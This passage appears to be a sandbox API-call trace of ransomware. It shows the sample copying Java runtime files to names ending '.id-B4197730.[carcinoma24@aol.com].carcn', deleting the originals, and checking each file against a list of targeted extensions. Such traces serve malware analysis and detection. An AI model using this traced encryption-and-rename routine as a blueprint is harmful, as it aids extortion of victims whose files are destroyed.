lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.398] GetLastError () returned 0x0 [0311.398] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xb28, lpOverlapped=0x0) returned 1 [0311.399] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xb30, lpOverlapped=0x0) returned 1 [0311.400] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.400] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x10a, lpOverlapped=0x0) returned 1 [0311.400] SetEndOfFile (hFile=0x388) returned 1 [0311.400] CloseHandle (hObject=0x388) returned 1 [0311.400] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.400] SetEndOfFile (hFile=0x370) returned 1 [0311.401] CloseHandle (hObject=0x370) returned 1 [0311.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0311.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0311.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0311.402] lstrlenW (lpString=".doc") returned 4 [0311.402] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0311.402] lstrlenW (lpString=".docx") returned 5 [0311.402] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0311.402] lstrlenW (lpString=".pdf") returned 4 [0311.403] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0311.403] lstrlenW (lpString=".xls") returned 4 [0311.403] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0311.403] lstrlenW (lpString=".xlsx") returned 5 [0311.403] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0311.403] lstrlenW (lpString=".ppt") returned 4 [0311.403] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0311.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0311.403] lstrlenW (lpString=".zip") returned 4 [0311.403] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0311.403] lstrlenW (lpString=".rar") returned 4 [0311.403] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0311.403] lstrlenW (lpString=".bz2") returned 4 [0311.403] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0311.403] lstrlenW (lpString=".7z") returned 3 [0311.403] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0311.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0311.403] lstrlenW (lpString=".dbf") returned 4 [0311.403] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0311.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0311.403] lstrlenW (lpString=".1cd") returned 4 [0311.403] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0311.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0311.403] lstrlenW (lpString=".jpg") returned 4 [0311.403] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0311.404] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.404] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.405] GetLastError () returned 0x0 [0311.405] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x3926, lpOverlapped=0x0) returned 1 [0311.406] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x3930, lpOverlapped=0x0) returned 1 [0311.407] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.407] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfe, lpOverlapped=0x0) returned 1 [0311.407] SetEndOfFile (hFile=0x388) returned 1 [0311.407] CloseHandle (hObject=0x388) returned 1 [0311.407] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.407] SetEndOfFile (hFile=0x370) returned 1 [0311.408] CloseHandle (hObject=0x370) returned 1 [0311.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.409] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0311.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0311.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0311.410] lstrlenW (lpString=".doc") returned 4 [0311.410] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString=".docx") returned 5 [0311.410] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0311.410] lstrlenW (lpString=".pdf") returned 4 [0311.410] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString=".xls") returned 4 [0311.410] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString=".xlsx") returned 5 [0311.410] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0311.410] lstrlenW (lpString=".ppt") returned 4 [0311.410] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0311.410] lstrlenW (lpString=".zip") returned 4 [0311.410] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString=".rar") returned 4 [0311.410] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString=".bz2") returned 4 [0311.410] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString=".7z") returned 3 [0311.410] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0311.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0311.410] lstrlenW (lpString=".dbf") returned 4 [0311.410] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0311.410] lstrlenW (lpString=".1cd") returned 4 [0311.410] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0311.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0311.411] lstrlenW (lpString=".jpg") returned 4 [0311.411] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0311.411] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.411] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.956] GetLastError () returned 0x0 [0311.956] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xd30, lpOverlapped=0x0) returned 1 [0311.957] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xd40, lpOverlapped=0x0) returned 1 [0311.958] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.958] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf6, lpOverlapped=0x0) returned 1 [0311.958] SetEndOfFile (hFile=0x388) returned 1 [0311.959] CloseHandle (hObject=0x388) returned 1 [0311.959] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.959] SetEndOfFile (hFile=0x370) returned 1 [0311.960] CloseHandle (hObject=0x370) returned 1 [0311.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.960] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0311.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0311.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0311.961] lstrlenW (lpString=".doc") returned 4 [0311.961] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0311.961] lstrlenW (lpString=".docx") returned 5 [0311.961] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0311.961] lstrlenW (lpString=".pdf") returned 4 [0311.961] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0311.961] lstrlenW (lpString=".xls") returned 4 [0311.961] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0311.961] lstrlenW (lpString=".xlsx") returned 5 [0311.961] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0311.961] lstrlenW (lpString=".ppt") returned 4 [0311.961] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0311.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0311.961] lstrlenW (lpString=".zip") returned 4 [0311.961] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0311.961] lstrlenW (lpString=".rar") returned 4 [0311.961] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0311.961] lstrlenW (lpString=".bz2") returned 4 [0311.962] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0311.962] lstrlenW (lpString=".7z") returned 3 [0311.962] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0311.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0311.962] lstrlenW (lpString=".dbf") returned 4 [0311.962] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0311.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0311.962] lstrlenW (lpString=".1cd") returned 4 [0311.962] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0311.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0311.962] lstrlenW (lpString=".jpg") returned 4 [0311.962] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0311.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.962] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.963] GetLastError () returned 0x0 [0311.963] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xfd6, lpOverlapped=0x0) returned 1 [0311.964] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfe0, lpOverlapped=0x0) returned 1 [0311.965] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.965] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe6, lpOverlapped=0x0) returned 1 [0311.965] SetEndOfFile (hFile=0x388) returned 1 [0311.965] CloseHandle (hObject=0x388) returned 1 [0311.965] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.965] SetEndOfFile (hFile=0x370) returned 1 [0311.966] CloseHandle (hObject=0x370) returned 1 [0311.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.966] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0311.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0311.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0311.967] lstrlenW (lpString=".doc") returned 4 [0311.967] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0311.967] lstrlenW (lpString=".docx") returned 5 [0311.967] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0311.967] lstrlenW (lpString=".pdf") returned 4 [0311.967] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0311.967] lstrlenW (lpString=".xls") returned 4 [0311.967] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0311.968] lstrlenW (lpString=".xlsx") returned 5 [0311.968] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0311.968] lstrlenW (lpString=".ppt") returned 4 [0311.968] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0311.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0311.968] lstrlenW (lpString=".zip") returned 4 [0311.968] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0311.968] lstrlenW (lpString=".rar") returned 4 [0311.968] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0311.968] lstrlenW (lpString=".bz2") returned 4 [0311.968] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0311.968] lstrlenW (lpString=".7z") returned 3 [0311.968] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0311.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0311.968] lstrlenW (lpString=".dbf") returned 4 [0311.968] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0311.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0311.968] lstrlenW (lpString=".1cd") returned 4 [0311.968] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0311.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0311.968] lstrlenW (lpString=".jpg") returned 4 [0311.968] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0311.968] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.969] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.969] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.969] GetLastError () returned 0x0 [0311.969] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4e5, lpOverlapped=0x0) returned 1 [0311.970] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0311.971] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.971] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf6, lpOverlapped=0x0) returned 1 [0311.971] SetEndOfFile (hFile=0x388) returned 1 [0311.971] CloseHandle (hObject=0x388) returned 1 [0311.972] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.972] SetEndOfFile (hFile=0x370) returned 1 [0311.973] CloseHandle (hObject=0x370) returned 1 [0311.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.973] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0311.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0311.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0311.974] lstrlenW (lpString=".doc") returned 4 [0311.974] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0311.974] lstrlenW (lpString=".docx") returned 5 [0311.974] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0311.974] lstrlenW (lpString=".pdf") returned 4 [0311.974] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0311.974] lstrlenW (lpString=".xls") returned 4 [0311.974] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0311.974] lstrlenW (lpString=".xlsx") returned 5 [0311.974] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0311.974] lstrlenW (lpString=".ppt") returned 4 [0311.974] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0311.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0311.974] lstrlenW (lpString=".zip") returned 4 [0311.974] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0311.974] lstrlenW (lpString=".rar") returned 4 [0311.975] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0311.975] lstrlenW (lpString=".bz2") returned 4 [0311.975] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0311.975] lstrlenW (lpString=".7z") returned 3 [0311.975] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0311.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0311.975] lstrlenW (lpString=".dbf") returned 4 [0311.975] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0311.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0311.975] lstrlenW (lpString=".1cd") returned 4 [0311.975] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0311.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0311.975] lstrlenW (lpString=".jpg") returned 4 [0311.975] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0311.975] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.975] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.976] GetLastError () returned 0x0 [0311.976] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0311.979] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0311.981] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.981] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0311.981] SetEndOfFile (hFile=0x388) returned 1 [0311.982] CloseHandle (hObject=0x388) returned 1 [0311.982] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.982] SetEndOfFile (hFile=0x370) returned 1 [0311.983] CloseHandle (hObject=0x370) returned 1 [0311.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.984] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0311.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0311.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0311.985] lstrlenW (lpString=".doc") returned 4 [0311.985] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString=".docx") returned 5 [0311.985] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0311.985] lstrlenW (lpString=".pdf") returned 4 [0311.985] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString=".xls") returned 4 [0311.985] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString=".xlsx") returned 5 [0311.985] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0311.985] lstrlenW (lpString=".ppt") returned 4 [0311.985] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0311.985] lstrlenW (lpString=".zip") returned 4 [0311.985] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString=".rar") returned 4 [0311.985] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0311.985] lstrlenW 